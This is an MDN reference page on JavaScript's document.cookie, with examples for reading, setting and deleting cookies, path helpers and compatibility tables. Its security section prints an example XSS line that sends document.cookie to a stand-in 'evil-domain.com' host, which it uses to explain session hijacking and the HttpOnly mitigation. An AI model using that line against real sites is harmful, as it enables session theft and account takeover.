Get and set the cookies associated with the current document. For a general library see this simple cookie framework.
allCookies = document.cookie;
In the code above allCookies
is a string containing a semicolon-separated list of all cookies (i.e. key=value
pairs)
document.cookie = newCookie;
In the code above, newCookie
is a string of form key=value
. Note that you can only set/update a single cookie at a time using this method. Consider also that:
When user privacy is a concern, It is important that any web app implementation will invalidate cookie data after a certain timeout and won't rely on the browser clearing session cookies
One of the most beloved features of Firefox prevents session cookies from ever expiring .
The same issue is also occuring with google chrome (and probably with other browsers offering similar features)
encodeURIComponent()
to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).__Secure-
Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.__Host-
Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin. secure
attribute.document.cookie
is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.document.cookie = "name=oeschger"; document.cookie = "favorite_food=tripe"; function alertCookie() { alert(document.cookie); }
<button onclick="alertCookie()">Show cookies</button>
document.cookie = "test1=Hello"; document.cookie = "test2=World"; var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1"); function alertCookieValue() { alert(cookieValue); }
<button onclick="alertCookieValue()">Show cookie value</button>
In order to use the following code, please replace all occurrences of the word doSomethingOnlyOnce
(the name of the cookie) with a custom name.
function doOnce() { if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { alert("Do something here!"); document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; } }
<button onclick="doOnce()">Only do something once</button>
function resetOnce() { document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; }
<button onclick="resetOnce()">Reset only once cookie</button>
It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden iframe element with the path of the cookie, then accessing this iframe's contentDocument.cookie
property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.
Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.
The reason for the syntax of the document.cookie
accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT [content of the page here]
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
path
parameterThe path
parameter of a new cookie can accept only absolute paths. If you want to use relative paths, you'll need to convert them. The following function can translate relative paths to absolute paths. It is a general-purpose function, but can be of course successfully used for the path
parameter of a new cookie, as well.
/*\ |*| |*| :: Translate relative paths to absolute paths :: |*| |*| https://developer.mozilla.org/en-US/docs/Web/API/document.cookie |*| https://developer.mozilla.org/User:fusionchess |*| |*| The following code is released under the GNU Public License, version 3 or later. |*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ function relPathToAbs (sRelPath) { var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1")); for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) { nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length; sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/"); } return sDir + sPath.substr(nStart); }
/* Let us be in /en-US/docs/Web/API/document.cookie */ alert(location.pathname); // displays: /en-US/docs/Web/API/document.cookie alert(relPathToAbs("./")); // displays: /en-US/docs/Web/API/ alert(relPathToAbs("../Guide/API/DOM/Storage")); // displays: /en-US/docs/Web/Guide/API/DOM/Storage alert(relPathToAbs("../../Firefox")); // displays: /en-US/docs/Firefox alert(relPathToAbs("../Guide/././API/../../../Firefox")); // displays: /en-US/docs/Firefox
function executeOnce () { var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string"; if (bImplGlob) { argc++; } if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); } var fExec = arguments[0], sKey = arguments[argc - 2]; if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); } if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); } if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; } fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []); document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : ""); return true; }
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
Executes a function only once, even after the refresh of the page.
callback
thisObject
Optional
this
object (object or null
).argumentToPass1, argumentToPass2, argumentToPassN
Optional
callback
function.identifier
onlyHere
Optional
true
) instead of the global one (false
or undefined
) (boolean or undefined
)function alertSomething (sMsg) { alert(sMsg); } executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");
Specification | Status | Comment |
---|---|---|
Document Object Model (DOM) Level 2 HTML Specification The definition of 'Document.cookie' in that specification. | Obsolete | Initial definition |
Cookie Prefixes | Working Draft |
Feature | Chrome | Edge | Firefox (Gecko) | Internet Explorer | Opera | Safari (WebKit) |
---|---|---|---|---|---|---|
Basic support | (Yes) | (Yes) | (Yes) | (Yes) | (Yes) | (Yes) |
max-age | (Yes) | No support[2] | (Yes) | No support | (Yes) | (Yes) |
__Host- and __Secure- prefixes | 49.0 [1] | ? | ? | No support | (Yes) | (Yes) |
Feature | Android | Android Webview | Edge | Firefox Mobile (Gecko) | IE Phone | Opera Mobile | Safari Mobile | Chrome for Android |
---|---|---|---|---|---|---|---|---|
Basic support | (Yes) | (Yes) | (Yes) | (Yes) | (Yes) | (Yes) | (Yes) | (Yes) |
max-age | ? | ? | (Yes) | ? | ? | ? | ? | (Yes) |
__Host- and __Secure- prefixes | No support | 49.0 [1] | ? | ? | ? | (Yes) | (Yes) | 49.0 [1] |
[1] Behind a flag.
[2] Edge Status
© 2005–2018 Mozilla Developer Network and individual contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
https://developer.mozilla.org/en-US/docs/Web/API/document/cookie